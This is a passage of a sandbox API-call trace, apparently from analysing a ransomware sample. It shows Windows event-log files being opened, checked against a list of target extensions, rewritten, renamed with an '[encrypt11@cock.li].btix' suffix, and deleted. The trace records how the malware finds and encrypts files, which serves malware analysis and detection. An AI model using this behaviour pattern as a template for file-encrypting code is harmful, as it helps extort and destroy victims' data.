returned 1 [0048.479] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.479] SetEndOfFile (hFile=0x370) returned 1 [0048.480] CloseHandle (hObject=0x370) returned 1 [0048.480] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.480] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0048.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.481] lstrlenW (lpString=".doc") returned 4 [0048.481] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString=".docx") returned 5 [0048.481] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.481] lstrlenW (lpString=".pdf") returned 4 [0048.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString=".xls") returned 4 [0048.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString=".xlsx") returned 5 [0048.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.481] lstrlenW (lpString=".ppt") returned 4 [0048.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.481] lstrlenW (lpString=".zip") returned 4 [0048.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString=".rar") returned 4 [0048.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString=".bz2") returned 4 [0048.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString=".7z") returned 3 [0048.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.481] lstrlenW (lpString=".dbf") returned 4 [0048.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.482] lstrlenW (lpString=".1cd") returned 4 [0048.482] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.482] lstrlenW (lpString=".jpg") returned 4 [0048.482] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.482] lstrlenW (lpString=".doc") returned 4 [0048.482] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString=".docx") returned 5 [0048.482] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.482] lstrlenW (lpString=".pdf") returned 4 [0048.482] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString=".xls") returned 4 [0048.482] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString=".xlsx") returned 5 [0048.482] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.482] lstrlenW (lpString=".ppt") returned 4 [0048.482] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.482] lstrlenW (lpString=".zip") returned 4 [0048.482] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString=".rar") returned 4 [0048.482] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString=".bz2") returned 4 [0048.482] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.482] lstrlenW (lpString=".7z") returned 3 [0048.482] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.482] lstrlenW (lpString=".dbf") returned 4 [0048.482] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.483] lstrlenW (lpString=".1cd") returned 4 [0048.483] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0048.483] lstrlenW (lpString=".jpg") returned 4 [0048.483] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.483] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.483] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0048.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.483] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=2166784) returned 1 [0048.483] CloseHandle (hObject=0x370) returned 1 [0048.483] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0048.483] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.483] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0048.484] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.484] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0x0) returned 1 [0048.484] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0048.485] ReadFile (in: hFile=0x370, lpBuffer=0x38fa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x38fa058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0048.630] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0048.630] ReadFile (in: hFile=0x370, lpBuffer=0x393a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x393a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0048.749] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.749] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0048.749] ReadFile (in: hFile=0x370, lpBuffer=0x397a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x397a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0048.898] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.898] WriteFile (in: hFile=0x370, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x262fca8, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fca8*=0xc015c, lpOverlapped=0x0) returned 1 [0048.911] SetEndOfFile (hFile=0x370) returned 1 [0048.912] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x42a3ed0 [0048.912] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0048.912] WriteFile (in: hFile=0x370, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0048.913] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0048.913] WriteFile (in: hFile=0x370, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0048.916] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0048.916] WriteFile (in: hFile=0x370, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0048.917] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0048.917] CloseHandle (hObject=0x370) returned 1 [0049.755] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.755] lstrlenW (lpString=".doc") returned 4 [0049.755] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.755] lstrlenW (lpString=".docx") returned 5 [0049.755] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.755] lstrlenW (lpString=".pdf") returned 4 [0049.755] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.755] lstrlenW (lpString=".xls") returned 4 [0049.755] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.755] lstrlenW (lpString=".xlsx") returned 5 [0049.755] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.755] lstrlenW (lpString=".ppt") returned 4 [0049.755] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.755] lstrlenW (lpString=".zip") returned 4 [0049.755] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString=".rar") returned 4 [0049.756] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString=".bz2") returned 4 [0049.756] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString=".7z") returned 3 [0049.756] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.756] lstrlenW (lpString=".dbf") returned 4 [0049.756] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.756] lstrlenW (lpString=".1cd") returned 4 [0049.756] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.756] lstrlenW (lpString=".jpg") returned 4 [0049.756] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.756] lstrlenW (lpString=".doc") returned 4 [0049.756] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString=".docx") returned 5 [0049.756] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.756] lstrlenW (lpString=".pdf") returned 4 [0049.756] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString=".xls") returned 4 [0049.756] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString=".xlsx") returned 5 [0049.756] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.756] lstrlenW (lpString=".ppt") returned 4 [0049.756] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.756] lstrlenW (lpString=".zip") returned 4 [0049.757] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.757] lstrlenW (lpString=".rar") returned 4 [0049.757] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.757] lstrlenW (lpString=".bz2") returned 4 [0049.757] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.757] lstrlenW (lpString=".7z") returned 3 [0049.757] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.757] lstrlenW (lpString=".dbf") returned 4 [0049.757] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.757] lstrlenW (lpString=".1cd") returned 4 [0049.757] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0049.757] lstrlenW (lpString=".jpg") returned 4 [0049.757] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.757] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.757] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0049.757] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0049.757] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0049.757] CloseHandle (hObject=0x370) returned 1 [0049.758] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0049.758] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0049.758] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.758] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0049.758] GetLastError () returned 0x0 [0049.759] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.950] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.952] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.952] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x14a, lpOverlapped=0x0) returned 1 [0049.952] SetEndOfFile (hFile=0x388) returned 1 [0050.051] CloseHandle (hObject=0x388) returned 1 [0050.053] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.053] SetEndOfFile (hFile=0x370) returned 1 [0050.054] CloseHandle (hObject=0x370) returned 1 [0050.054] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0050.054] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0050.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.054] lstrlenW (lpString=".doc") returned 4 [0050.054] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.054] lstrlenW (lpString=".docx") returned 5 [0050.054] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.054] lstrlenW (lpString=".pdf") returned 4 [0050.054] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.054] lstrlenW (lpString=".xls") returned 4 [0050.054] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.054] lstrlenW (lpString=".xlsx") returned 5 [0050.054] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.055] lstrlenW (lpString=".ppt") returned 4 [0050.055] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.055] lstrlenW (lpString=".zip") returned 4 [0050.055] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString=".rar") returned 4 [0050.055] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString=".bz2") returned 4 [0050.055] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString=".7z") returned 3 [0050.055] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.055] lstrlenW (lpString=".dbf") returned 4 [0050.055] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.055] lstrlenW (lpString=".1cd") returned 4 [0050.055] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.055] lstrlenW (lpString=".jpg") returned 4 [0050.055] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.055] lstrlenW (lpString=".doc") returned 4 [0050.055] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString=".docx") returned 5 [0050.055] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.055] lstrlenW (lpString=".pdf") returned 4 [0050.055] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.055] lstrlenW (lpString=".xls") returned 4 [0050.056] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.056] lstrlenW (lpString=".xlsx") returned 5 [0050.056] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.056] lstrlenW (lpString=".ppt") returned 4 [0050.056] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.056] lstrlenW (lpString=".zip") returned 4 [0050.056] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.056] lstrlenW (lpString=".rar") returned 4 [0050.056] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.056] lstrlenW (lpString=".bz2") returned 4 [0050.056] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.056] lstrlenW (lpString=".7z") returned 3 [0050.056] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.056] lstrlenW (lpString=".dbf") returned 4 [0050.056] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.056] lstrlenW (lpString=".1cd") returned 4 [0050.056] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0050.056] lstrlenW (lpString=".jpg") returned 4 [0050.056] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.057] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.057] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0050.057] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0050.058] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0050.058] CloseHandle (hObject=0x370) returned 1 [0050.058] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0050.058] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.058] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0050.058] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.058] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.058] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0050.058] GetLastError () returned 0x0 [0050.058] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0050.194] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0050.196] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.196] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x136, lpOverlapped=0x0) returned 1 [0050.196] SetEndOfFile (hFile=0x388) returned 1 [0050.196] CloseHandle (hObject=0x388) returned 1 [0050.198] SetFilePointerEx (in: 